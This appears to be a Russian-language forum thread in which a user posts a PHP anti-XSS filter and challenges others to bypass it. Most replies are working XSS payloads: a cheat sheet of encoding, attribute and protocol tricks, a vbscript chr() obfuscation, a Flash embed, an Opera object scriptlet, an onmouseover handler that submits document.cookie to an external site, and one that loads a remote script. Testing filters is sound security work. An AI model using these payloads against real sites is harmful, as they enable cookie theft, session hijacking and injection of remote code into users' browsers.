Написал фильтр ксс , проверяет заголовки браузера юзер агент , реферер , а также заголовки которые должны передавать прокси на корректность.Ну и конечно весь массив данных GET POST COOKIE по сформированным правилам,также там присутствует алгоритм декодирования stringFromCharCode,хекс и урл кодирования.Ваша задача - заставить фильтр не заметить вашу xss и вывести ее,те обычная xss не годится если фильтр скажет Possilbe xss found.Гоу В идеале - нахождение недокумментированных разделителей для функций , таких как 0 для фаерфокса и 8 для эксплорера и прочих специальных символов. http://underwater.itdefence.ru/blog/antixss/ex.php
Берем, пишем.... Code: ' onClick="javascript: document.write('<script>alert(1)</script>')" Пишет поссибл хсс и все такое... но если клацнуть - увидим ожидаемый эффект... вставить можн соответственно не ток такую конструкцию, а то вздумаетси +)
мдя.... на моем примере можно понять - необходимо не просто найти багу, а что бы фильтр не матюкнулся.
Code: # Разделители атрибутов тега. Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки. <image/src="1.png"/alt="Подсказка"/border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png"alt="Подсказка"border="0"> # Ограничители атрибутов тега Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. <image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0"> # Кодировки символов Расшифровка символов в скрипте происходит до его выполнения: <img src=javascript:alert("ok")> <img src=javascript:alert('ok')> <img src=javascript:alert('ok')> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href) # Ограничители символьных литералов в скриптах <img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:a=/ok/;alert(a.source)> <img src=javascript:alert(String.fromCharCode(111,107))> # Обход фильтрации некоторых символов <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/) # Способы запуска скриптов Несколько способов автоматического запуска скриптов: <script>alert('ok')</script> <script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз) <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE) <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке) <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке) <br SIZE="&{alert('XSS')}"> (только Netscape 4.x) # Различные скриптовые протоколы, способы их написания <img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=" javascript:alert()"> (пробелы до слова javascript) <img src=javascript:alert()> <img src=javascript	:alert()> <img src=javascript
:alert()> <img src=javascript
:alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java scri pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки) # Вставки скриптов в style Операторы скрипта в атрибуте style нужно разделять "\;". <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`> много чего срабатывает.
Интересный ресурс http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php ну и саму IDS скачать http://php-ids.org/downloads/
<a'a><img src=http://img.yandex.net/i/yandex-v9.gif> png+hex=IE, вспоминаем как IE обрабатывает графические файлы.
мда.... если на то пошло, то и так: Code: 'style='background-image:url(http://vdshark.heliosart.info/head.gif);
PHP: 'onmouseover = "this.action = 'http://antichat.ru/';this.elements[0].value = self['doc' + 'ument']['coo' + 'kie'];this.submit()"k=' Бить врага его же оружием
Code: 's><EMBED SRC=http://heliosart.info/test.swf AllowScriptAccess=always width=0 height=0><a' Код флешки: Code: _root.onLoad = function() { getURL("javascript:alert('XSS')"); }
Канешн вариант Хелиоса попрет, но он бут пахать ток если включен флеш. Вот я до сих пор не спал - но нашел решение Уж очень обидели мну слова ТС "эт максимум на что ты способен". И вот что имеем в итоге: Code: 'onMouseOver = "t = document.createElement('script'); x = new String('http://vdshark.heliosart.info/1.js'); t.src = x; this.appendChild(t);" Спасиб Хелиосу за поддержку +)
1. Мало кто из вас такое видел... ну, посмотрите же. Фильтрописатель забыл про визуалбейсикскрипт Совсем забыл Помнит, правда, про msgbox, но этого мало. Code: Filter rule : (mocha|livescript|javascript|behavior|execute|eval|open|window|urlencode)\s*[={}\/():;&\+\-\^\[\|] PHP: 'l><img src=vbscript:document.write(chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(97)&chr(108)&chr(101)&chr(114)&chr(116)&chr(40)&chr(39)&chr(76)&chr(101)&chr(118)&chr(101)&chr(114)&chr(79)&chr(110)&chr(101)&chr(39)&chr(41)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62))><o' Несмотря на перекрытие потока, фильтр пропустит (будет молчать) такой код, потому что 1) не палит псевдо-vbscript 2) фильтру неизвестен способ обфускации через vbs-функцию chr() Будет работать в IE 6, для IE 7.0 уязвимость будет пассивной: вставляться будет через тег "a". 2. Там пробелы, но и с табами тоже. 3. Следующий вариант очень ограничен в применении по причине фиксации в более поздних версиях, но его также следовало бы учесть. Приведу из первоисточника - ha.ckers.org/xss.html 4. Еще знаю несколько способов обхода, потому что автор кое-что не учел, но считаю идеотизмом выкладывать способы, которые катят на более серьезных фильтрах крупных систем.
Eсли регулярные выражения действительно такие, как показывается, "кое-что" там не одно. P.S. на больших проектах ещё сложнее сделать защиту, так как на огромном количестве сайтов есть доступные JS-функции (и переменные), название которых, конечно же, не фильтруется. Пожалуй, самый распространенный пример - глобальная переменная d = document; (кто фильтрует букву "d"?) Если она не объявлена скриптами самого сайта, то может быть объявлена в каком-нибудь счётчике.
И не два, и не три. Этих "что-то" там МНОГО. И дело не только в том, сложно или легко учесть в регулярках все известное. Дело в самом знании нигде не записанного. Кстати, реальные регулярные выражения скрипта такие, как показывается Вот, например, Code: Input string : <script> Description : Внедрение опасных html тегов Filter rule : [<\s]((\/?)script(\/?))|((\/?)[i|I]frame(\/?))|(@import)((\/?)object(\/?))[\s>] Однако '<object>' на самом деле не фильтруется. В результате имеем XSS под Opera: PHP: 'lo><OBJECT TYPE=text/x-scriptlet DATA='http://ha.ckers.org/scriptlet.html Код, ес-но, можно заточить.
Дамс , забыл поставить знак или | в регулярке , @import тоже катит получается...Думаю на этом можно остановиться ибо наделал я ошибок,надо исправлять